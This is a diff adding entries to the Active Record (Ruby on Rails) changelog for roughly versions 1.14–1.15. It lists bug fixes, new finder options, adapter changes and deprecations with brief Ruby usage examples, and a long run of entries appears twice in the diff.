+* MySQL: update test schema for MySQL 5 strict mode. #5861 *Tom Ward*
+
+* to_xml: correct naming of included associations. #5831 *Josh Starcher*
+
+* Pushing a record onto a has_many :through sets the association's foreign key to the associate's primary key and adds it to the correct association. #5815, #5829 *Josh Susser*
+
+* Add records to has_many :through using <<, push, and concat by creating the association record. Raise if base or associate are new records since both ids are required to create the association. #build raises since you can't associate an unsaved record. #create! takes an attributes hash and creates the associated record and its association in a transaction. *Jeremy Kemper*
+
+ # Create a tagging to associate the post and tag.
+ post.tags << Tag.find_by_name('old')
+ post.tags.create! :name => 'general'
+
+ # Would have been:
+ post.taggings.create!(:tag => Tag.find_by_name('finally')
+ transaction do
+ post.taggings.create!(:tag => Tag.create!(:name => 'general'))
+ end
+
+* Cache nil results for :included has_one associations also. #5787 *Michael Schoen*
+
+* Fixed a bug which would cause .save to fail after trying to access a empty has_one association on a unsaved record. *Tobias Lütke*
+
+* Nested classes are given table names prefixed by the singular form of the parent's table name. *Jeremy Kemper*
+ Example: Invoice::Lineitem is given table name invoice_lineitems
+
+* Migrations: uniquely name multicolumn indexes so you don't have to. *Jeremy Kemper*
+ # people_active_last_name_index, people_active_deactivated_at_index
+ add_index :people, [:active, :last_name]
+ add_index :people, [:active, :deactivated_at]
+ remove_index :people, [:active, :last_name]
+ remove_index :people, [:active, :deactivated_at]
+
+ WARNING: backward-incompatibility. Multicolumn indexes created before this
+ revision were named using the first column name only. Now they're uniquely
+ named using all indexed columns.
+
+ To remove an old multicolumn index, remove_index :table_name, :first_column
+
+* Fix for deep includes on the same association. *richcollins@gmail.com*
+
+* Tweak fixtures so they don't try to use a non-ActiveRecord class. *Kevin Clark*
+
+* Remove ActiveRecord::Base.reset since Dispatcher doesn't use it anymore. *Rick Olson*
+
+* Document find's :from option. Closes #5762. *andrew@redlinesoftware.com*
+
+* PostgreSQL: autodetected sequences work correctly with multiple schemas. Rely on the schema search_path instead of explicitly qualifying the sequence name with its schema. #5280 *guy.naor@famundo.com*
+
+* Replace Reloadable with Reloadable::Deprecated. *Nicholas Seckar*
+
+* Cache nil results for has_one associations so multiple calls don't call the database. Closes #5757. *Michael Schoen*
+
+* Add documentation for how to disable timestamps on a per model basis. Closes #5684. *matt@mattmargolis.net Marcel Molina Jr.*
+
+* Don't save has_one associations unnecessarily. #5735 *Jonathan Viney*
+
+* Refactor ActiveRecord::Base.reset_subclasses to #reset, and add global observer resetting. *Rick Olson*
+
+* Formally deprecate the deprecated finders. *Michael Koziarski*
+
+* Formally deprecate rich associations. *Michael Koziarski*
+
+* Fixed that default timezones for new / initialize should uphold utc setting #5709 *daniluk@yahoo.com*
+
+* Fix announcement of very long migration names. #5722 *blake@near-time.com*
+
+* The exists? class method should treat a string argument as an id rather than as conditions. #5698 *jeremy@planetargon.com*
+
+* Fixed to_xml with :include misbehaviors when invoked on array of model instances #5690 *alexkwolfe@gmail.com*
+
+* Added support for conditions on Base.exists? #5689 [Josh Peek]. Examples:
+
+ assert (Topic.exists?(:author_name => "David"))
+ assert (Topic.exists?(:author_name => "Mary", :approved => true))
+ assert (Topic.exists?(["parent_id = ?", 1]))
+
+* Schema dumper quotes date :default values. *Dave Thomas*
+
+* Calculate sum with SQL, not Enumerable on HasManyThrough Associations. *Dan Peterson*
+
+* Factor the attribute#{suffix} methods out of method_missing for easier extension. *Jeremy Kemper*
+
+* Patch sql injection vulnerability when using integer or float columns. *Jamis Buck*
+
+* Allow #count through a has_many association to accept :include. *Dan Peterson*
+
+* create_table rdoc: suggest :id => false for habtm join tables. *Zed Shaw*
+
+* PostgreSQL: return array fields as strings. #4664 *Robby Russell*
+
+* SQLServer: added tests to ensure all database statements are closed, refactored identity_insert management code to use blocks, removed update/delete rowcount code out of execute and into update/delete, changed insert to go through execute method, removed unused quoting methods, disabled pessimistic locking tests as feature is currently unsupported, fixed RakeFile to load sqlserver specific tests whether running in ado or odbc mode, fixed support for recently added decimal types, added support for limits on integer types. #5670 *Tom Ward*
+
+* SQLServer: fix db:schema:dump case-sensitivity. #4684 *Will Rogers*
+
+* Oracle: BigDecimal support. #5667 *Michael Schoen*
+
+* Numeric and decimal columns map to BigDecimal instead of Float. Those with scale 0 map to Integer. #5454 *robbat2@gentoo.org, work@ashleymoran.me.uk*
+
+* Firebird migrations support. #5337 *Ken Kunz <kennethkunz@gmail.com>*
+
+* PostgreSQL: create/drop as postgres user. #4790 *mail@matthewpainter.co.uk, mlaster@metavillage.com*
+
+* Update callbacks documentation. #3970 *Robby Russell <robby@planetargon.com>*
+
+* PostgreSQL: correctly quote the ' in pk_and_sequence_for. #5462 *tietew@tietew.net*
+
+* PostgreSQL: correctly quote microseconds in timestamps. #5641 *rick@rickbradley.com*
+
+* Clearer has_one/belongs_to model names (account has_one :user). #5632 *matt@mattmargolis.net*
+
+* Oracle: use nonblocking queries if allow_concurrency is set, fix pessimistic locking, don't guess date vs. time by default (set OracleAdapter.emulate_dates = true for the old behavior), adapter cleanup. #5635 *Michael Schoen*
+
+* Fixed a few Oracle issues: Allows Oracle's odd date handling to still work consistently within #to_xml, Passes test that hardcode insert statement by dropping the :id column, Updated RUNNING_UNIT_TESTS with Oracle instructions, Corrects method signature for #exec #5294 *Michael Schoen*
+
+* Added :group to available options for finds done on associations #5516 *mike@michaeldewey.org*
+
+* Minor tweak to improve performance of ActiveRecord::Base#to_param.
+
+* Observers also watch subclasses created after they are declared. #5535 *daniels@pronto.com.au*
+
+* Removed deprecated timestamps_gmt class methods. *Jeremy Kemper*
+
+* rake build_mysql_database grants permissions to rails@localhost. #5501 *brianegge@yahoo.com*
+
+* PostgreSQL: support microsecond time resolution. #5492 *alex@msgpad.com*
+
+* Add AssociationCollection#sum since the method_missing invokation has been shadowed by Enumerable#sum.
+
+* Added find_or_initialize_by_X which works like find_or_create_by_X but doesn't save the newly instantiated record. *Sam Stephenson*
+
+* Row locking. Provide a locking clause with the :lock finder option or true for the default "FOR UPDATE". Use the #lock! method to obtain a row lock on a single record (reloads the record with :lock => true). *Shugo Maeda*
+ # Obtain an exclusive lock on person 1 so we can safely increment visits.
+ Person.transaction do
+ # select * from people where id=1 for update
+ person = Person.find(1, :lock => true)
+ person.visits += 1
+ person.save!
+ end
+
+* PostgreSQL: introduce allow_concurrency option which determines whether to use blocking or asynchronous #execute. Adapters with blocking #execute will deadlock Ruby threads. The default value is ActiveRecord::Base.allow_concurrency. *Jeremy Kemper*
+
+* Use a per-thread (rather than global) transaction mutex so you may execute concurrent transactions on separate connections. *Jeremy Kemper*
+
+* Change AR::Base#to_param to return a String instead of a Fixnum. Closes #5320. *Nicholas Seckar*
+
+* Use explicit delegation instead of method aliasing for AR::Base.to_param -> AR::Base.id. #5299 (skaes@web.de)
+
+* Refactored ActiveRecord::Base.to_xml to become a delegate for XmlSerializer, which restores sanity to the mega method. This refactoring also reinstates the opinions that type="string" is redundant and ugly and nil-differentiation is not a concern of serialization *David Heinemeier Hansson*
+
+* Added simple hash conditions to find that'll just convert hash to an AND-based condition string #5143 [Hampton Catlin]. Example:
+
+ Person.find(:all, :conditions => { :last_name => "Catlin", :status => 1 }, :limit => 2)
+
+ ...is the same as:
+ Person.find(:all, :conditions => [ "last_name = ? and status = ?", "Catlin", 1 ], :limit => 2)
+
+ This makes it easier to pass in the options from a form or otherwise outside.
+
+
+* Fixed issues with BLOB limits, charsets, and booleans for Firebird #5194, #5191, #5189 *kennethkunz@gmail.com*
+
+* Fixed usage of :limit and with_scope when the association in scope is a 1:m #5208 *alex@purefiction.net*
+
+* Fixed migration trouble with SQLite when NOT NULL is used in the new definition #5215 *greg@lapcominc.com*
+
+* Fixed problems with eager loading and counting on SQL Server #5212 *kajism@yahoo.com*
+
+* Fixed that count distinct should use the selected column even when using :include #5251 *anna@wota.jp*
+
+* Fixed that :includes merged from with_scope won't cause the same association to be loaded more than once if repetition occurs in the clauses #5253 *alex@purefiction.net*
+
+* Allow models to override to_xml. #4989 *Blair Zajac <blair@orcaware.com>*
+
+* PostgreSQL: don't ignore port when host is nil since it's often used to label the domain socket. #5247 *shimbo@is.naist.jp*
+
+* Records and arrays of records are bound as quoted ids. *Jeremy Kemper*
+ Foo.find(:all, :conditions => ['bar_id IN (?)', bars])
+ Foo.find(:first, :conditions => ['bar_id = ?', bar])
+
+* Fixed that Base.find :all, :conditions => [ "id IN (?)", collection ] would fail if collection was empty *David Heinemeier Hansson*
+
+* Add a list of regexes assert_queries skips in the ActiveRecord test suite. *Rick Olson*
+
+* Fix the has_and_belongs_to_many #create doesn't populate the join for new records. Closes #3692 *Josh Susser*
+
+* Provide Association Extensions access to the instance that the association is being accessed from.
+ Closes #4433 *Josh Susser*
+
+* Update OpenBase adaterp's maintainer's email address. Closes #5176. *Derrick Spell*
+
+* Add a quick note about :select and eagerly included associations. *Rick Olson*
+
+* Add docs for the :as option in has_one associations. Closes #5144 *cdcarter@gmail.com*
+
+* Fixed that has_many collections shouldn't load the entire association to do build or create *David Heinemeier Hansson*
+
+* Added :allow_nil option for aggregations #5091 *Ian White*
+
+* Fix Oracle boolean support and tests. Closes #5139. *Michael Schoen*
+
+* create! no longer blows up when no attributes are passed and a :create scope is in effect (e.g. foo.bars.create! failed whereas foo.bars.create!({}) didn't.) *Jeremy Kemper*
+
+* Call Inflector#demodulize on the class name when eagerly including an STI model. Closes #5077 *info@loobmedia.com*
+
+* Preserve MySQL boolean column defaults when changing a column in a migration. Closes #5015. *pdcawley@bofh.org.uk*
+
+* PostgreSQL: migrations support :limit with :integer columns by mapping limit < 4 to smallint, > 4 to bigint, and anything else to integer. #2900 *keegan@thebasement.org*
+
+* Dates and times interpret empty strings as nil rather than 2000-01-01. #4830 *kajism@yahoo.com*
+
+* Allow :uniq => true with has_many :through associations. *Jeremy Kemper*
+
+* Ensure that StringIO is always available for the Schema dumper. *Marcel Molina Jr.*
+
+* Allow AR::Base#to_xml to include methods too. Closes #4921. *johan@textdrive.com*
+
+* Replace superfluous name_to_class_name variant with camelize. *Marcel Molina Jr.*
+
+* Replace alias method chaining with Module#alias_method_chain. *Marcel Molina Jr.*
+
+* Replace Ruby's deprecated append_features in favor of included. *Marcel Molina Jr.*
+
+* Remove duplicate fixture entry in comments.yml. Closes #4923. *Blair Zajac <blair@orcaware.com>*
+
+* Update FrontBase adapter to check binding version. Closes #4920. *mlaster@metavillage.com*
+
+* New Frontbase connections don't start in auto-commit mode. Closes #4922. *mlaster@metavillage.com*
+
+* When grouping, use the appropriate option key. *Marcel Molina Jr.*
+
+* Only modify the sequence name in the FrontBase adapter if the FrontBase adapter is actually being used. *Marcel Molina Jr.*
+
+* Add support for FrontBase (http://www.frontbase.com/) with a new adapter thanks to the hard work of one Mike Laster. Closes #4093. *mlaster@metavillage.com*
+
+* Add warning about the proper way to validate the presence of a foreign key. Closes #4147. *Francois Beausoleil <francois.beausoleil@gmail.com>*
+
+* Fix syntax error in documentation. Closes #4679. *Mislav Marohnić*
+
+* Add Oracle support for CLOB inserts. Closes #4748. *schoenm@earthlink.net sandra.metz@duke.edu*
+
+* Various fixes for sqlserver_adapter (odbc statement finishing, ado schema dumper, drop index). Closes #4831. *kajism@yahoo.com*
+
+* Add support for :order option to with_scope. Closes #3887. *eric.daspet@survol.net*
+
+* Prettify output of schema_dumper by making things line up. Closes #4241 *Caio Chassot <caio@v2studio.com>*
+
+* Make build_postgresql_databases task make databases owned by the postgres user. Closes #4790. *mlaster@metavillage.com*
+
+* Sybase Adapter type conversion cleanup. Closes #4736. *dev@metacasa.net*
+
+* Fix bug where calculations with long alias names return null. *Rick Olson*
+
+* Raise error when trying to add to a has_many :through association. Use the Join Model instead. *Rick Olson*
+
+ @post.tags << @tag # BAD
+ @post.taggings.create(:tag => @tag) # GOOD
+
+* Allow all calculations to take the :include option, not just COUNT (closes #4840) *Rick Olson*
+
+* Update inconsistent migrations documentation. #4683 *machomagna@gmail.com*
+
+* Add ActiveRecord::Errors#to_xml *Jamis Buck*
+
+* Properly quote index names in migrations (closes #4764) *John Long*
+
+* Fix the HasManyAssociation#count method so it uses the new ActiveRecord::Base#count syntax, while maintaining backwards compatibility. *Rick Olson*
+
+* Ensure that Associations#include_eager_conditions? checks both scoped and explicit conditions *Rick Olson*
+
+* Associations#select_limited_ids_list adds the ORDER BY columns to the SELECT DISTINCT List for postgresql. *Rick Olson*
+
+* DRY up association collection reader method generation. *Marcel Molina Jr.*
+
+* DRY up and tweak style of the validation error object. *Marcel Molina Jr.*
+
+* Add :case_sensitive option to validates_uniqueness_of (closes #3090) *Rick Olson*
+
+ class Account < ActiveRecord::Base
+ validates_uniqueness_of :email, :case_sensitive => false
+ end
+
+* Allow multiple association extensions with :extend option (closes #4666) *Josh Susser*
+
+ class Account < ActiveRecord::Base
+ has_many :people, :extend => [FindOrCreateByNameExtension, FindRecentExtension]
+ end
+
+ *1.15.3* (March 12th, 2007)
+
+ * Allow a polymorphic :source for has_many :through associations. Closes #7143 [protocool]
+
+ * Consistently quote primary key column names. #7763 [toolmantim]
+
+ * Fixtures: fix YAML ordered map support. #2665 [Manuel Holtgrewe, nfbuckley]
+
+ * Fix has_many :through << with custom foreign keys. #6466, #7153 [naffis, Rich Collins]
+
+
+## 1.15.2 (February 5th, 2007) ##
+
+* Pass a range in :conditions to use the SQL BETWEEN operator. #6974 *Dan Manges*
+ Student.find(:all, :conditions => { :grade => 9..12 })
+
+* Don't create instance writer methods for class attributes. *Rick Olson*
+
+* When dealing with SQLite3, use the table_info pragma helper, so that the bindings can do some translation for when sqlite3 breaks incompatibly between point releases. *Jamis Buck*
+
+* SQLServer: don't choke on strings containing 'null'. #7083 *Jakob Skjerning*
+
+* Consistently use LOWER() for uniqueness validations (rather than mixing with UPPER()) so the database can always use a functional index on the lowercased column. #6495 *Si*
+
+* MySQL: SET SQL_AUTO_IS_NULL=0 so 'where id is null' doesn't select the last inserted id. #6778 *Jonathan Viney, timc*
+
+* Fixtures use the table name and connection from set_fixture_class. #7330 *Anthony Eden*
+
+* SQLServer: quote table name in indexes query. #2928 *keithm@infused.org*
+
+
+## 1.15.1 (January 17th, 2007) ##
+
+* Fix nodoc breaking of adapters
+
+
+## 1.15.0 (January 16th, 2007) ##
+
+* [DOC] clear up some ambiguity with the way has_and_belongs_to_many creates the default join table name. #7072 *Jeremy McAnally*
+
+* change_column accepts :default => nil. Skip column options for primary keys. #6956, #7048 *Dan Manges, Jeremy Kemper*
+
+* MySQL, PostgreSQL: change_column_default quotes the default value and doesn't lose column type information. #3987, #6664 *Jonathan Viney, Manfred Stienstra, altano@bigfoot.com*
+
+* Oracle: create_table takes a :sequence_name option to override the 'tablename_seq' default. #7000 *Michael Schoen*
+
+* MySQL: retain SSL settings on reconnect. #6976 *randyv2*
+
+* SQLServer: handle [quoted] table names. #6635 *rrich*
+
+* acts_as_nested_set works with single-table inheritance. #6030 *Josh Susser*
+
+* PostgreSQL, Oracle: correctly perform eager finds with :limit and :order. #4668, #7021 *eventualbuddha, Michael Schoen*
+
+* Fix the Oracle adapter for serialized attributes stored in CLOBs. Closes #6825 *mschoen, tdfowler*
+
+* [DOCS] Apply more documentation for ActiveRecord Reflection. Closes #4055 *Robby Russell*
+
+* [DOCS] Document :allow_nil option of #validate_uniqueness_of. Closes #3143 *Caio Chassot*
+
+* Bring the sybase adapter up to scratch for 1.2 release. *jsheets*
+
+* Oracle: fix connection reset failure. #6846 *leonlleslie*
+
+* Subclass instantiation doesn't try to explicitly require the corresponding subclass. #6840 *leei, Jeremy Kemper*
+
+* fix faulty inheritance tests and that eager loading grabs the wrong inheritance column when the class of your association is an STI subclass. Closes #6859 *protocool*
+
+* find supports :lock with :include. Check whether your database allows SELECT ... FOR UPDATE with outer joins before using. #6764 *vitaly, Jeremy Kemper*
+
+* Support nil and Array in :conditions => { attr => value } hashes. #6548 *Assaf, Jeremy Kemper*
+ find(:all, :conditions => { :topic_id => [1, 2, 3], :last_read => nil }
+
+* Quote ActiveSupport::Multibyte::Chars. #6653 *Julian Tarkhanov*
+
+* MySQL: detect when a NOT NULL column without a default value is misreported as default ''. Can't detect for string, text, and binary columns since '' is a legitimate default. #6156 *simon@redhillconsulting.com.au, obrie, Jonathan Viney, Jeremy Kemper*
+
+* validates_numericality_of uses \A \Z to ensure the entire string matches rather than ^ $ which may match one valid line of a multiline string. #5716 *Andreas Schwarz*
+
+* Oracle: automatically detect the primary key. #6594 *vesaria, Michael Schoen*
+
+* Oracle: to increase performance, prefetch 100 rows and enable similar cursor sharing. Both are configurable in database.yml. #6607 *philbogle@gmail.com, ray.fortna@jobster.com, Michael Schoen*
+
+* Firebird: decimal/numeric support. #6408 *macrnic*
+
+* Find with :include respects scoped :order. #5850
+
+* Dynamically generate reader methods for serialized attributes. #6362 *Stefan Kaes*
+
+* Deprecation: object transactions warning. *Jeremy Kemper*
+
+* has_one :dependent => :nullify ignores nil associates. #6528 *janovetz, Jeremy Kemper*
+
+* Oracle: resolve test failures, use prefetched primary key for inserts, check for null defaults, fix limited id selection for eager loading. Factor out some common methods from all adapters. #6515 *Michael Schoen*
+
+* Make add_column use the options hash with the Sqlite Adapter. Closes #6464 *obrie*
+
+* Document other options available to migration's add_column. #6419 *grg*
+
+* MySQL: all_hashes compatibility with old MysqlRes class. #6429, #6601 *Jeremy Kemper*
+
+* Fix has_many :through to add the appropriate conditions when going through an association using STI. Closes #5783. *Jonathan Viney*
+
+* fix select_limited_ids_list issues in postgresql, retain current behavior in other adapters *Rick Olson*
+
+* Restore eager condition interpolation, document it's differences *Rick Olson*
+
+* Don't rollback in teardown unless a transaction was started. Don't start a transaction in create_fixtures if a transaction is started. #6282 *Jacob Fugal, Jeremy Kemper*
+
+* Add #delete support to has_many :through associations. Closes #6049 *Martin Landers*
+
+* Reverted old select_limited_ids_list postgresql fix that caused issues in mysql. Closes #5851 *Rick Olson*
+
+* Removes the ability for eager loaded conditions to be interpolated, since there is no model instance to use as a context for interpolation. #5553 *turnip@turnipspatch.com*
+
+* Added timeout option to SQLite3 configurations to deal more gracefully with SQLite3::BusyException, now the connection can instead retry for x seconds to see if the db clears up before throwing that exception #6126 *wreese@gmail.com*
+
+* Added update_attributes! which uses save! to raise an exception if a validation error prevents saving #6192 *jonathan*
+
+* Deprecated add_on_boundary_breaking (use validates_length_of instead) #6292 *Bob Silva*
+
+* The has_many create method works with polymorphic associations. #6361 *Dan Peterson*
+
+* MySQL: introduce Mysql::Result#all_hashes to support further optimization. #5581 *Stefan Kaes*
+
+* save! shouldn't validate twice. #6324 *maiha, Bob Silva*
+
+* Association collections have an _ids reader method to match the existing writer for collection_select convenience (e.g. employee.task_ids). The writer method skips blank ids so you can safely do @employee.task_ids = params[:tasks] without checking every time for an empty list or blank values. #1887, #5780 *Michael Schuerig*
+
+* Add an attribute reader method for ActiveRecord::Base.observers *Rick Olson*
+
+* Deprecation: count class method should be called with an options hash rather than two args for conditions and joins. #6287 *Bob Silva*
+
+* has_one associations with a nil target may be safely marshaled. #6279 *norbauer, Jeremy Kemper*
+
+* Duplicate the hash provided to AR::Base#to_xml to prevent unexpected side effects *Michael Koziarski*
+
+* Add a :namespace option to AR::Base#to_xml *Michael Koziarski*
+
+* Deprecation tests. Remove warnings for dynamic finders and for the foo_count method if it's also an attribute. *Jeremy Kemper*
+
+* Mock Time.now for more accurate Touch mixin tests. #6213 *Dan Peterson*
+
+* Improve yaml fixtures error reporting. #6205 *Bruce Williams*
+
+* Rename AR::Base#quote so people can use that name in their models. #3628 *Michael Koziarski*
+
+* Add deprecation warning for inferred foreign key. #6029 *Josh Susser*
+
+* Fixed the Ruby/MySQL adapter we ship with Active Record to work with the new authentication handshake that was introduced in MySQL 4.1, along with the other protocol changes made at that time #5723 *jimw@mysql.com*
+
+* Deprecation: use :dependent => :delete_all rather than :exclusively_dependent => true. #6024 *Josh Susser*
+
+* Optimistic locking: gracefully handle nil versions, treat as zero. #5908 *Tom Ward*
+
+* to_xml: the :methods option works on arrays of records. #5845 *Josh Starcher*
+
+* has_many :through conditions are sanitized by the associating class. #5971 *martin.emde@gmail.com*
+
+* Fix spurious newlines and spaces in AR::Base#to_xml output *Jamis Buck*
+
+* has_one supports the :dependent => :delete option which skips the typical callback chain and deletes the associated object directly from the database. #5927 *Chris Mear, Jonathan Viney*
+
+* Nested subclasses are not prefixed with the parent class' table_name since they should always use the base class' table_name. #5911 *Jonathan Viney*
+
+* SQLServer: work around bug where some unambiguous date formats are not correctly identified if the session language is set to german. #5894 *Tom Ward, kruth@bfpi*
+
+* Clashing type columns due to a sloppy join shouldn't wreck single-table inheritance. #5838 *Kevin Clark*
+
+* Fixtures: correct escaping of \n and \r. #5859 *evgeny.zislis@gmail.com*
+
+* Migrations: gracefully handle missing migration files. #5857 *eli.gordon@gmail.com*
+
+* MySQL: update test schema for MySQL 5 strict mode. #5861 *Tom Ward*
+
+* to_xml: correct naming of included associations. #5831 *Josh Starcher*
+
+* Pushing a record onto a has_many :through sets the association's foreign key to the associate's primary key and adds it to the correct association. #5815, #5829 *Josh Susser*
+
+* Add records to has_many :through using <<, push, and concat by creating the association record. Raise if base or associate are new records since both ids are required to create the association. #build raises since you can't associate an unsaved record. #create! takes an attributes hash and creates the associated record and its association in a transaction. *Jeremy Kemper*
+
+ # Create a tagging to associate the post and tag.
+ post.tags << Tag.find_by_name('old')
+ post.tags.create! :name => 'general'
+
+ # Would have been:
+ post.taggings.create!(:tag => Tag.find_by_name('finally')
+ transaction do
+ post.taggings.create!(:tag => Tag.create!(:name => 'general'))
+ end
+
+* Cache nil results for :included has_one associations also. #5787 *Michael Schoen*
+
+* Fixed a bug which would cause .save to fail after trying to access a empty has_one association on a unsaved record. *Tobias Lütke*
+
+* Nested classes are given table names prefixed by the singular form of the parent's table name. *Jeremy Kemper*
+ Example: Invoice::Lineitem is given table name invoice_lineitems
+
+* Migrations: uniquely name multicolumn indexes so you don't have to. *Jeremy Kemper*
+ # people_active_last_name_index, people_active_deactivated_at_index
+ add_index :people, [:active, :last_name]
+ add_index :people, [:active, :deactivated_at]
+ remove_index :people, [:active, :last_name]
+ remove_index :people, [:active, :deactivated_at]
+
+ WARNING: backward-incompatibility. Multicolumn indexes created before this
+ revision were named using the first column name only. Now they're uniquely
+ named using all indexed columns.
+
+ To remove an old multicolumn index, remove_index :table_name, :first_column
+
+* Fix for deep includes on the same association. *richcollins@gmail.com*
+
+* Tweak fixtures so they don't try to use a non-ActiveRecord class. *Kevin Clark*
+
+* Remove ActiveRecord::Base.reset since Dispatcher doesn't use it anymore. *Rick Olson*
+
+* PostgreSQL: autodetected sequences work correctly with multiple schemas. Rely on the schema search_path instead of explicitly qualifying the sequence name with its schema. #5280 *guy.naor@famundo.com*
+
+* Replace Reloadable with Reloadable::Deprecated. *Nicholas Seckar*
+
+* Cache nil results for has_one associations so multiple calls don't call the database. Closes #5757. *Michael Schoen*
+
+* Don't save has_one associations unnecessarily. #5735 *Jonathan Viney*
+
+* Refactor ActiveRecord::Base.reset_subclasses to #reset, and add global observer resetting. *Rick Olson*
+
+* Formally deprecate the deprecated finders. *Michael Koziarski*
+
+* Formally deprecate rich associations. *Michael Koziarski*
+
+* Fixed that default timezones for new / initialize should uphold utc setting #5709 *daniluk@yahoo.com*
+
+* Fix announcement of very long migration names. #5722 *blake@near-time.com*
+
+* The exists? class method should treat a string argument as an id rather than as conditions. #5698 *jeremy@planetargon.com*
+
+* Fixed to_xml with :include misbehaviors when invoked on array of model instances #5690 *alexkwolfe@gmail.com*
+
+* Added support for conditions on Base.exists? #5689 [Josh Peek]. Examples:
+
+ assert (Topic.exists?(:author_name => "David"))
+ assert (Topic.exists?(:author_name => "Mary", :approved => true))
+ assert (Topic.exists?(["parent_id = ?", 1]))
+
+* Schema dumper quotes date :default values. *Dave Thomas*
+
+* Calculate sum with SQL, not Enumerable on HasManyThrough Associations. *Dan Peterson*
+
+* Factor the attribute#{suffix} methods out of method_missing for easier extension. *Jeremy Kemper*
+
+* Patch sql injection vulnerability when using integer or float columns. *Jamis Buck*
+
+* Allow #count through a has_many association to accept :include. *Dan Peterson*
+
+* create_table rdoc: suggest :id => false for habtm join tables. *Zed Shaw*
+
+* PostgreSQL: return array fields as strings. #4664 *Robby Russell*
+
+* SQLServer: added tests to ensure all database statements are closed, refactored identity_insert management code to use blocks, removed update/delete rowcount code out of execute and into update/delete, changed insert to go through execute method, removed unused quoting methods, disabled pessimistic locking tests as feature is currently unsupported, fixed RakeFile to load sqlserver specific tests whether running in ado or odbc mode, fixed support for recently added decimal types, added support for limits on integer types. #5670 *Tom Ward*
+
+* SQLServer: fix db:schema:dump case-sensitivity. #4684 *Will Rogers*
+
+* Oracle: BigDecimal support. #5667 *Michael Schoen*
+
+* Numeric and decimal columns map to BigDecimal instead of Float. Those with scale 0 map to Integer. #5454 *robbat2@gentoo.org, work@ashleymoran.me.uk*
+
+* Firebird migrations support. #5337 *Ken Kunz <kennethkunz@gmail.com>*
+
+* PostgreSQL: create/drop as postgres user. #4790 *mail@matthewpainter.co.uk, mlaster@metavillage.com*
+
+* PostgreSQL: correctly quote the ' in pk_and_sequence_for. #5462 *tietew@tietew.net*
+
+* PostgreSQL: correctly quote microseconds in timestamps. #5641 *rick@rickbradley.com*
+
+* Clearer has_one/belongs_to model names (account has_one :user). #5632 *matt@mattmargolis.net*
+
+* Oracle: use nonblocking queries if allow_concurrency is set, fix pessimistic locking, don't guess date vs. time by default (set OracleAdapter.emulate_dates = true for the old behavior), adapter cleanup. #5635 *Michael Schoen*
+
+* Fixed a few Oracle issues: Allows Oracle's odd date handling to still work consistently within #to_xml, Passes test that hardcode insert statement by dropping the :id column, Updated RUNNING_UNIT_TESTS with Oracle instructions, Corrects method signature for #exec #5294 *Michael Schoen*
+
+* Added :group to available options for finds done on associations #5516 *mike@michaeldewey.org*
+
+* Observers also watch subclasses created after they are declared. #5535 *daniels@pronto.com.au*
+
+* Removed deprecated timestamps_gmt class methods. *Jeremy Kemper*
+
+* rake build_mysql_database grants permissions to rails@localhost. #5501 *brianegge@yahoo.com*
+
+* PostgreSQL: support microsecond time resolution. #5492 *alex@msgpad.com*
+
+* Add AssociationCollection#sum since the method_missing invokation has been shadowed by Enumerable#sum.
+
+* Added find_or_initialize_by_X which works like find_or_create_by_X but doesn't save the newly instantiated record. *Sam Stephenson*
+
+* Row locking. Provide a locking clause with the :lock finder option or true for the default "FOR UPDATE". Use the #lock! method to obtain a row lock on a single record (reloads the record with :lock => true). *Shugo Maeda*
+ # Obtain an exclusive lock on person 1 so we can safely increment visits.
+ Person.transaction do
+ # select * from people where id=1 for update
+ person = Person.find(1, :lock => true)
+ person.visits += 1
+ person.save!
+ end
+
+* PostgreSQL: introduce allow_concurrency option which determines whether to use blocking or asynchronous #execute. Adapters with blocking #execute will deadlock Ruby threads. The default value is ActiveRecord::Base.allow_concurrency. *Jeremy Kemper*
+
+* Use a per-thread (rather than global) transaction mutex so you may execute concurrent transactions on separate connections. *Jeremy Kemper*
+
+* Change AR::Base#to_param to return a String instead of a Fixnum. Closes #5320. *Nicholas Seckar*
+
+* Use explicit delegation instead of method aliasing for AR::Base.to_param -> AR::Base.id. #5299 (skaes@web.de)
+
+* Refactored ActiveRecord::Base.to_xml to become a delegate for XmlSerializer, which restores sanity to the mega method. This refactoring also reinstates the opinions that type="string" is redundant and ugly and nil-differentiation is not a concern of serialization *David Heinemeier Hansson*
+
+* Added simple hash conditions to find that'll just convert hash to an AND-based condition string #5143 [Hampton Catlin]. Example:
+
+ Person.find(:all, :conditions => { :last_name => "Catlin", :status => 1 }, :limit => 2)
+
+ ...is the same as:
+ Person.find(:all, :conditions => [ "last_name = ? and status = ?", "Catlin", 1 ], :limit => 2)
+
+ This makes it easier to pass in the options from a form or otherwise outside.
+
+
+* Fixed issues with BLOB limits, charsets, and booleans for Firebird #5194, #5191, #5189 *kennethkunz@gmail.com*
+
+* Fixed usage of :limit and with_scope when the association in scope is a 1:m #5208 *alex@purefiction.net*
+
+* Fixed migration trouble with SQLite when NOT NULL is used in the new definition #5215 *greg@lapcominc.com*
+
+* Fixed problems with eager loading and counting on SQL Server #5212 *kajism@yahoo.com*
+
+* Fixed that count distinct should use the selected column even when using :include #5251 *anna@wota.jp*
+
+* Fixed that :includes merged from with_scope won't cause the same association to be loaded more than once if repetition occurs in the clauses #5253 *alex@purefiction.net*
+
+* Allow models to override to_xml. #4989 *Blair Zajac <blair@orcaware.com>*
+
+* PostgreSQL: don't ignore port when host is nil since it's often used to label the domain socket. #5247 *shimbo@is.naist.jp*
+
+* Records and arrays of records are bound as quoted ids. *Jeremy Kemper*
+ Foo.find(:all, :conditions => ['bar_id IN (?)', bars])
+ Foo.find(:first, :conditions => ['bar_id = ?', bar])
+
+* Fixed that Base.find :all, :conditions => [ "id IN (?)", collection ] would fail if collection was empty *David Heinemeier Hansson*
+
+* Add a list of regexes assert_queries skips in the ActiveRecord test suite. *Rick Olson*
+
+* Fix the has_and_belongs_to_many #create doesn't populate the join for new records. Closes #3692 *Josh Susser*
+
+* Provide Association Extensions access to the instance that the association is being accessed from.
+ Closes #4433 *Josh Susser*
+
+* Update OpenBase adaterp's maintainer's email address. Closes #5176. *Derrick Spell*
+
+* Add a quick note about :select and eagerly included associations. *Rick Olson*
+
+* Add docs for the :as option in has_one associations. Closes #5144 *cdcarter@gmail.com*
+
+* Fixed that has_many collections shouldn't load the entire association to do build or create *David Heinemeier Hansson*
+
+* Added :allow_nil option for aggregations #5091 *Ian White*
+
+* Fix Oracle boolean support and tests. Closes #5139. *Michael Schoen*
+
+* create! no longer blows up when no attributes are passed and a :create scope is in effect (e.g. foo.bars.create! failed whereas foo.bars.create!({}) didn't.) *Jeremy Kemper*
+
